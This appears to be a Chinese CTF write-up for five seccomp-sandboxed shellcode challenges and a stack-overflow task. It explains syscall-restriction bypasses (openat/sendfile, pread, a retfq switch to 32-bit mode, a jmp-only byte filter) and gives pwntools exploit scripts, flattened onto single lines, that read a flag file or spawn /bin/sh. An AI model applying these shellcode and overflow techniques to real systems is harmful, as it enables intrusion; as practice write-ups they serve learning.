shellcode1 程序开启了沙箱保护
1 seccomp-tools dump ./filename
该指令查看沙箱保护
只允许read write open
打开后把内容写到可读可写的内存段 这里选择rsp 之后再用标准输出读出来
exp 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ,os='linux' ) r=process('./shellcode1' ) sh=shellcraft.open ('./flag' ) sh+=shellcraft.read(3 ,'rsp' ,0x50 ) sh+=shellcraft.write(1 ,'rsp' ,0x50 ) sh=asm(sh) r.sendline(sh) r.interactive()
shellcode2 与第一题类似,不过禁用了open和部分读写函数
open用openat替代
openat函数
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
第一个代表目录文件表述符≠文件描述符 设置成AT_FDCWD
表示打开相对路径使用当前目录 数值为-100
sendfile函数
ssize_t senfile(int out_fd,int in_fd,off_t* offset,size_t count)
第一个参数相当于write的fd 第二个参数相当于read的fd
第三个参数为偏移量,一般设置成0
第四个参数表示传输字节数
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from LibcSearcher import *context(log_level = 'debug' ,arch = 'amd64' ,os = 'linux' ) r=remote('127.0.0.1' ,42185 ) e=ELF('./shellcode2' ) sh=shellcraft.openat(-100 ,'./flag' ,0 ) sh+=shellcraft.sendfile(1 ,3 ,0 ,0x100 ) gdb.attach(r) pause() sh=asm(sh) r.sendline(sh) r.interactive()
shellcode3
沙箱发现没有限制64位,但没有open,不过程序给了个fstat,这个函数在64位的系统调用号和open在32位的系统调用号一样,所以可以把程序转到32位再open之后再转到64位读写
汇编指令:retfq,相当于pop ip;pop cs
cs寄存器为0x23系统执行32位,cs为0x33执行64位
因为64位地址比32位长,所以32位下无法解析64位地址
所以用mmap映射一部分内存来存放32位地址
mmap函数
void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);
用于映射文件
此处mmap(0x40404040,0x100,7,34,0,0)
映射一部分内存区域后,用read函数把后续shellcode读入这块内存
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *from LibcSearcher import *context(log_level = 'debug' ) r=remote('127.0.0.1' ,45647 ) buf=0x1000 sh1=asm(''' xor ebp, ebp push 0x602000 xor rdi,rdi pop rdi push 0x100 xor rsi,rsi pop rsi xor rdx, rdx push 7 pop rdx push 0x22 pop r10 /* call mmap2() */ xor rax, rax xor r8,r8 xor r9,r9 mov rax, 0x9 syscall push rdx pop rdx /*read*/ push 0x602000 pop rsi push 0 pop rdi push 0x40 pop rdx xor rax,rax syscall ''' ,arch='amd64' ,os='linux' )sh1+=asm(''' mov esp,0x602160/*可读的地址即可*/ /*64->32*/ push 0x23 push 0x602000 retfq ''' ,arch='amd64' ,os='linux' )sh2=asm('''/*open*/ push 0x67616c66 mov ebx,esp xor ecx,ecx xor edx,edx mov eax,0x5 int 0x80 mov ecx,eax ''' ,arch='i386' ,os='linux' )sh2+=asm(''' push 0x33 push 0x60201d retfq /*read*/ mov rdi,rcx mov rsi,rsp mov rdx,0x70 xor rax,rax syscall /*write*/ mov rdi,1 mov rax,1 syscall mov esp,0x40404550 ''' ,arch='amd64' ,os='linux' )gdb.attach(r) r.sendline(sh1) pause() r.sendline(sh2) r.interactive()
shellcode4
和第二题一样,read换成pread。
或者用mmap映射一段内存
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ,os='linux' ) buf='rsp' r=remote('127.0.0.1' ,46251 ) sh=asm(shellcraft.openat(-100 ,'./flag' ,0 )) sh+=asm(shellcraft.pread(3 ,buf,0x50 )) sh+=asm(shellcraft.write(1 ,buf,0x50 )) gdb.attach(r) pause() r.sendline(sh) r.interactive()
shellcode5 程序只允许j开头的汇编指令进行执行
这题可以从机器码入手
jmp的机器码分为两种
\xeb:两字节的jmp
\xe9:五字节的jmp
程序的特判是遇到\xeb后会往下跳过一个字节再去检查下一个汇编指令,同理遇到\xe9会跳过四个字节再去检查下一个
因此真正运行的shellcode就藏在着四字节
\xeb\x01\xe9\x??\x??\x??\x??这样一个单元可以绕过程序的特判去执行后面四字节的指令,因此就想办法把shellcode拆成四字节
在此处给rax直接赋值就不行,因为他会把下一条的\xeb\x01给读进去
因此只能给eax,al,ah赋值再用 shl rax进行移位
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' ,os='linux' ) r=remote('127.0.0.1' ,43289 ) e=ELF('./shellcode5' ) sh='\xeb\x01\xe9\xb4\x68\xeB\x01\xe9\xb0\x73\xeB\x01' sh+='\xe9\x48\xc1\xe0\x10\xeB\x01\xe9\xb4\x2f\xeB\x01\xe9\xb0\x6e\xeB\x01' sh+='\xe9\x48\xc1\xe0\x08\xeB\x01\xe9\xb0\x69\xeB\x01\xe9\x48\xc1\xe0\x10\xeB\x01\xe9\xb0\x2f\xb4\x62\xeB\x01' sh+='\xe9\x50\x00\xeB\x01\xe9\x48\x89\xe7\x00\xeB\x01\xe9\x31\xd2\x31\xf6\xeB\x01\xe9\x6a\x3b\xeB\x01\xe9\x58\x0f\x05\x00' '''48 b8 2f 62 69 6e 2f 73 68 00 50 48 89 e7 31 d2 31 f6 6a 3b 58 0f 05 ''' '''b0 2f b4 62 50 48 89 e7 31 d2 31 f6 6a 3b 58 0f 05''' sh1=asm( ''' /*execve('/bin/sh\x00',0,0)*/ /* execve(path='/bin/sh\x00', argv=0, envp=0) */ /* push b'/bin/sh\x00' */ /*mov eax,0x1 b8 01 00 00 00*/ mov ah,0x68 mov al,0x73 shl rax,16 mov ah,0x2f mov al,0x6e shl rax,8 mov al,0x69 shl rax,16 mov al,0x2f mov ah,0x62 /* mov rax, 0x68732f6e69622f */ push rax mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call execve() */ push 59 /* 0x3b */ pop rax syscall ''' ) sh1=asm('xor edx,edx' ) print (sh)gdb.attach(r) r.send(sh) r.interactive()
flock 不同以往的ret2text
这题在填充满buf要对rbp进行恢复,所以不能直接加8字节覆盖掉
程序还有特判,要求函数的返回地址要等于什么什么,这样的特判有四个,因此到最后一个的时候在跳转到win
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from LibcSearcher import *context(log_level = 'debug' ) r=process('./flock' ) offset=128 addr=0x4011BD addr4=0x401276 addr3=0x4012a0 addr2=0x4012ca addr1=0x4012f0 r.recvuntil('Song Begins At ' ) rbp=r.recv(14 ) rbp=int (rbp,16 ) rbp1=rbp+0xa0 print (hex (rbp1))rbp2=rbp1+0x20 print (hex (rbp2))rbp3=rbp2+0x20 print (hex (rbp3))payload=offset*b'a' payload+=p64(rbp1)+p64(addr4) payload+=b'a' *16 +p64(rbp2)+p64(addr3) payload+=b'a' *16 +p64(rbp3)+p64(addr2) payload+=b'a' *16 +p64(addr)+p64(addr1) payload+=b'a' *8 +p64(addr) gdb.attach(r) r.send(payload) r.interactive()